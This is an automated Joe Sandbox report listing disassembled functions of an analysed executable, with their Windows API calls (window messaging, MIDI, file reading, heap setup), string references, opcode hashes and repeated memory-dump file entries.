Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$MessageSend$Focus$EnableH_prologParent$DecrementEnabledInterlockedTextlstrcpynlstrlen
String ID: out.prn$prn
API String ID: 3571112515-3109735852
Opcode ID: c9ef99fdb88a0618d2639f68ddeac953a2e36b916e5d82067ca91b6bad743a07
Instruction ID: bd5a5c346184a5c8d7981526cab1e296f5bd066be295cc8b2d762ea47ed4faae
Opcode Fuzzy Hash: c9ef99fdb88a0618d2639f68ddeac953a2e36b916e5d82067ca91b6bad743a07
Instruction Fuzzy Hash: 9C21A171144380ABD330EB29C846FABB7E4EBA6B10F104A1EB5A9532D1CFB85448C756

Function 004B1438 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 004B1449
GetClassNameA.USER32(00000000,?,0000000A), ref: 004B1464
lstrcmpiA.KERNEL32(?,combobox), ref: 004B1473

Strings

combobox, xrefs: 004B146D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ClassLongNameWindowlstrcmpi
String ID: combobox
API String ID: 2054663530-2240613097
Opcode ID: 120577c7b9b9ec649b6628b14cdbf49ee928d7590c97ae80dcef6dbf5b019b24
Instruction ID: 3bb29a3636d22b376b420b09ede813f4ec92f2d59867c9da05bec016225de129
Opcode Fuzzy Hash: 120577c7b9b9ec649b6628b14cdbf49ee928d7590c97ae80dcef6dbf5b019b24
Instruction Fuzzy Hash: E8E0ED32A54109BBCF009F60CC0AA9A3BA8EB00301F408632F92BD51E0D734E945CB69

Function 0049E3AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00498FB0), ref: 0049E3B4
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0049E3C4

Strings

KERNEL32, xrefs: 0049E3AF
IsProcessorFeaturePresent, xrefs: 0049E3BE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: ff4d63e56a5497b23390a907d12c32b786263a18e5e63399d925ccd28963ef27
Instruction ID: 2a8a5623f97d1b84daae9e91f71d0af3c5c9e534df1cfeb510d2fffee961a0a6
Opcode Fuzzy Hash: ff4d63e56a5497b23390a907d12c32b786263a18e5e63399d925ccd28963ef27
Instruction Fuzzy Hash: E1C0127038030072DF305BB2FC19B1729880B48B02F040076AD89E22E2EA9ECA409129

Function 00594DD5 Relevance: 6.4, APIs: 4, Instructions: 370COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00594E57
_free.LIBCMT ref: 00594E7B
_free.LIBCMT ref: 00595002
_free.LIBCMT ref: 005951CE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a496388288dbf24a0fc5ccf2f4a44cd90b5b28a621f09c61185489ee47375848
Instruction ID: 1340548ba5520f6787db2c24955a4670f152e62692c1c6a11e7a80c864338273
Opcode Fuzzy Hash: a496388288dbf24a0fc5ccf2f4a44cd90b5b28a621f09c61185489ee47375848
Instruction Fuzzy Hash: 48C1E7759003069FDF15AF749C49EAA7FBDFF81310F2445AAE89597292E7308E42CB90

Function 0058E34C Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0058E3D7
__alldvrm.LIBCMT ref: 0058E5D8
__alldvrm.LIBCMT ref: 0058E5FA

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 37bcc8934f9172c020020461c0f66ca114a67912bf81b4218b445e2416586c44
Instruction ID: 17123c1de65cd5b7b48af2905202233e31562fe1e63518dfb0c21023f357ddd8
Opcode Fuzzy Hash: 37bcc8934f9172c020020461c0f66ca114a67912bf81b4218b445e2416586c44
Instruction Fuzzy Hash: 9BA13672A042869FDB21EF18C8837AEBFF1FF55314F184569EC98AB281E6349D41C750

Function 00442830 Relevance: 6.2, APIs: 4, Instructions: 246COMMON

Download Yara Rule

APIs

midiStreamOpen.WINMM(00CD7838,00CD7860,00000001,00442E60,00CD781C,00030000,00000000,00CD781C,?,00000000), ref: 0044285B
midiStreamProperty.WINMM ref: 00442942
midiOutPrepareHeader.WINMM(00000000,00000000,00000040,00000001,00000000,00000000,00CD781C,?,00000000), ref: 00442A90

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: midi$Stream$HeaderOpenPrepareProperty
String ID:
API String ID: 2061886437-0
Opcode ID: 122abdb7d9c7623c9664f34e4d57f549e700448c60aed4f86729ec590cb45787
Instruction ID: 312e2e4cd218c35ec9bca4503231a4503cd8c66e00c8250592b53aee1a075375
Opcode Fuzzy Hash: 122abdb7d9c7623c9664f34e4d57f549e700448c60aed4f86729ec590cb45787
Instruction Fuzzy Hash: 14A18CB16006068FD724DF28D990BAAB7F6FB84304F504A2EE696C7750EB75F919CB40

Function 004A4040 Relevance: 6.2, APIs: 4, Instructions: 170fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(000001D0,000001D0,00000000,000001D0,00000000,00000000,00000000,00000000), ref: 004A40BA
GetLastError.KERNEL32 ref: 004A40C4
ReadFile.KERNEL32(?,?,00000001,000001D0,00000000), ref: 004A418A
GetLastError.KERNEL32 ref: 004A4194

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: ec7a715837ea8c74c2ab0c9a1e3498bf4e0b4195130497da6da1d7356635b0b4
Instruction ID: 6a7a9fd32d6279efe2194deb48a5e5da027860b10692d2914293f1bdb1a6e29d
Opcode Fuzzy Hash: ec7a715837ea8c74c2ab0c9a1e3498bf4e0b4195130497da6da1d7356635b0b4
Instruction Fuzzy Hash: 4251D5355043859FDF218F98C884BAE7BB0AFF7304F14449BE5618B351D7B89A82CB19

Function 00440940 Relevance: 6.2, APIs: 4, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00440952
PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 004409AA
__ftol.LIBCMT ref: 00440A95
__ftol.LIBCMT ref: 00440AA2

Part of subcall function 004B023F: SelectObject.GDI32(?,00000000), ref: 004B0261
Part of subcall function 004B023F: SelectObject.GDI32(?,?), ref: 004B0277

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ObjectSelect__ftol$ClientRect
String ID:
API String ID: 2514210182-0
Opcode ID: 6dc2c3286a3253babd904e7dfa31ead7a4c272ef62f08452d042457c86876778
Instruction ID: 37562ba7dfc8f8b5a1e5b623ec1aee5c8113331d9eb14a6b49f0f7ba02b2d0b4
Opcode Fuzzy Hash: 6dc2c3286a3253babd904e7dfa31ead7a4c272ef62f08452d042457c86876778
Instruction Fuzzy Hash: 3451CEB16083028FD714CF29C88086FBBE5FBD8300F144A2EF99993351D634DD598B96

Function 00424140 Relevance: 6.1, APIs: 4, Instructions: 144windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004AE37A: IsWindowEnabled.USER32(?), ref: 004AE384

IsWindowVisible.USER32(?), ref: 0042417A

Part of subcall function 004AC348: GetWindowTextLengthA.USER32(?), ref: 004AC355
Part of subcall function 004AC348: GetWindowTextA.USER32(?,00000000,00000000), ref: 004AC36D

Part of subcall function 004A8B75: SendMessageA.USER32(?,00000466,00000000,00000000), ref: 004A8B81

wsprintfA.USER32 ref: 00424214
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 00424240
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0042424F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$MessageSend$Text$EnabledLengthVisiblewsprintf
String ID:
API String ID: 1914814478-0
Opcode ID: 5c7fedbe4d5e6c4489e6e9e8508136c1870c11b6604aab8c397612c7d228d1d1
Instruction ID: 020808fc3f2db90f9fdede9095e64162a96605496e4e0b7d37a8cbb7844545a2
Opcode Fuzzy Hash: 5c7fedbe4d5e6c4489e6e9e8508136c1870c11b6604aab8c397612c7d228d1d1
Instruction Fuzzy Hash: 1B5143712087419FD724DF19D981B9BB7E5FBD8710F508A1EF99687380CB78A801CBA6

Function 0044C7C0 Relevance: 6.1, APIs: 4, Instructions: 108windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 0044C834
SendMessageA.USER32(?,000000B1,?,000000FF), ref: 0044C88D
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0044C89C
SendMessageA.USER32(?,000000C2,00000000,?), ref: 0044C8CA

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageSend$Window
String ID:
API String ID: 2326795674-0
Opcode ID: 8fa2a66512f78b3cc1ef363f89a94e2c1cdecc8775c89d1dd7f6d6cfb603dc41
Instruction ID: 298a648e8e3da4c86f340c8f4704c3068520d380aba3817974082e59adbe6d25
Opcode Fuzzy Hash: 8fa2a66512f78b3cc1ef363f89a94e2c1cdecc8775c89d1dd7f6d6cfb603dc41
Instruction Fuzzy Hash: D541B1722497419FE320DB19C880F5BB7D4EB95720F484A1EF5A5873D1C7789804CBAA

Function 0043E500 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0043E56F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: d2fe7c139e24cecaa5181f020e1f638d6eb2107289033c88121a597c5422c599
Instruction ID: a520672346fe0f3952e7925f95bfaf32cc8e8b7b17839236db461de3750f18e1
Opcode Fuzzy Hash: d2fe7c139e24cecaa5181f020e1f638d6eb2107289033c88121a597c5422c599
Instruction Fuzzy Hash: 2A316F762047409FC314DF69D984F5BB7E8FB89724F004A2EF65983281DB38A8058B65

Function 004B1A16 Relevance: 6.1, APIs: 4, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004B1B8E: GetParent.USER32(?), ref: 004B1BC1
Part of subcall function 004B1B8E: GetLastActivePopup.USER32(?), ref: 004B1BD0
Part of subcall function 004B1B8E: IsWindowEnabled.USER32(?), ref: 004B1BE5
Part of subcall function 004B1B8E: EnableWindow.USER32(?,00000000), ref: 004B1BF8

SendMessageA.USER32(?,00000376,00000000,00000000), ref: 004B1A4C
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 004B1ABA
MessageBoxA.USER32(00000000,?,?,00000000), ref: 004B1AC8
EnableWindow.USER32(00000000,00000001), ref: 004B1AE4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
String ID:
API String ID: 1958756768-0
Opcode ID: 947884c2a8afd08014b6d2c8ca8336988f4e3a31937ad6eede728d720a250661
Instruction ID: e825bf4d92184189280c05e400c04c679d45d64061a4cc1ee0fbecbe83bfc305
Opcode Fuzzy Hash: 947884c2a8afd08014b6d2c8ca8336988f4e3a31937ad6eede728d720a250661
Instruction Fuzzy Hash: 1921B472A01109AFDB209F94CCD1AEEB7B9EB48740FA4053BE615E3260D774AD809B74

Function 00429B30 Relevance: 6.1, APIs: 4, Instructions: 84windowCOMMON

Download Yara Rule

APIs

GetMessagePos.USER32 ref: 00429BC8
ScreenToClient.USER32(?,?), ref: 00429BEA
ChildWindowFromPointEx.USER32(?,?,?,00000005), ref: 00429C00
GetFocus.USER32 ref: 00429C0B

Part of subcall function 004AE3BC: SetFocus.USER32(?,0042F773), ref: 004AE3C6

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Focus$ChildClientFromMessagePointScreenWindow
String ID:
API String ID: 3117237277-0
Opcode ID: 75a383a4ff4db38447dc2162b8ab418ac08b9b25b9957e8312e9964c894f153e
Instruction ID: 1291b35dcb0fa0230b57b52df305841a9db3d633c00e7da1746f42512e902bf6
Opcode Fuzzy Hash: 75a383a4ff4db38447dc2162b8ab418ac08b9b25b9957e8312e9964c894f153e
Instruction Fuzzy Hash: 4621F5707002126BC224EB21EC41F6FB3E8AF84708F04852EF94597382DB38ED42C799

Function 00498E55 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00498E7B

Part of subcall function 0049E176: HeapCreate.KERNEL32(00000000,00001000,00000000,00498EB3,00000001), ref: 0049E187
Part of subcall function 0049E176: HeapDestroy.KERNEL32 ref: 0049E1C6

GetCommandLineA.KERNEL32 ref: 00498EDB
GetStartupInfoA.KERNEL32(?), ref: 00498F06
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00498F29

Part of subcall function 00498F82: ExitProcess.KERNEL32 ref: 00498F9F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
